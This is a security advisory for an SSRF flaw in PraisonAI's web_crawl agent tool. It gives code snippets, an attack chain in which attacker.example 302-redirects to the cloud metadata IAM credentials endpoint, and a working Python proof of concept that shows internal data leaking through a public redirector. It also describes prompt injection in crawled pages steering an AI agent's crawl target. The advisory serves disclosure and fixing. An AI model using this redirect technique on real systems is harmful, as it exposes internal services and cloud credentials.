CVE-2026-55525: PraisonAI: SSRF via redirect-following in praisonaiagents web_crawl

Summary webcrawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(followredirects=True) and never re-validates redirect targets.

An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier webcrawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.

Details

1. The agent is asked (or prompt-injected) to crawl https://attacker.example/r, which the source accepts because attacker.example resolves to a public IP. 2. The attacker server responds 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>. 3. crawlwithhttpx follows the redirect with followredirects=True, fetches the IAM credential document, and webcrawl returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.

The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts

Source (validates only the initial hostname) python src/praisonai-agents/praisonaiagents/tools/webcrawltools.py:231

ipstr = socket.gethostbyname(hostname) ip = ipaddress.ipaddress(ipstr) if ip.isloopback or ip.isprivate or ip.islinklocal or ip.ismulticast or ip.isunspecified: logger.warning(f"Rejected SSRF or private IP attempt: {u}") continue

Sink (follows redirects with no re-validation) python src/praisonai-agents/praisonaiagents/tools/webcrawltools.py:142

import httpx with httpx.Client(followredirects=True, timeout=30.0) as client: response = client.get(url) response.raiseforstatus() content = response.text

PoC Dependencies: pip install praisonaiagents==1.6.52 httpx

Preconditions: - The agent has the webcrawl tool registered, which is a standard exported tool. - The default crawl provider httpx is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install). - ALLOWLOCALCRAWL is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass. - The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).

python """Direct loopback is blocked; a public redirector to loopback is not.""" import http.server, json, socket, threading, urllib.parse from praisonaiagents.tools import webcrawl

SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"

class H(http.server.BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200); self.endheaders(); self.wfile.write(SECRET.encode()) def logmessage(self, a): pass

s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close() srv = http.server.HTTPServer(("127.0.0.1", port), H) threading.Thread(target=srv.serveforever, daemon=True).start() internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"

control = webcrawl(internal) # front-door blocks loopback leaked = lambda r: SECRET in json.dumps(r) redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode( {"url": internal, "statuscode": "302"}) # public host -> 302 -> internal exploit = webcrawl(redirector) srv.shutdown() print("controlleaked", leaked(control), "| exploitleaked", leaked(exploit)) assert not leaked(control) and leaked(exploit) print("CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed")

Impact Any attacker who can influence an agent's crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host's cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier webcrawl advisories added is fully enabled and still bypassed.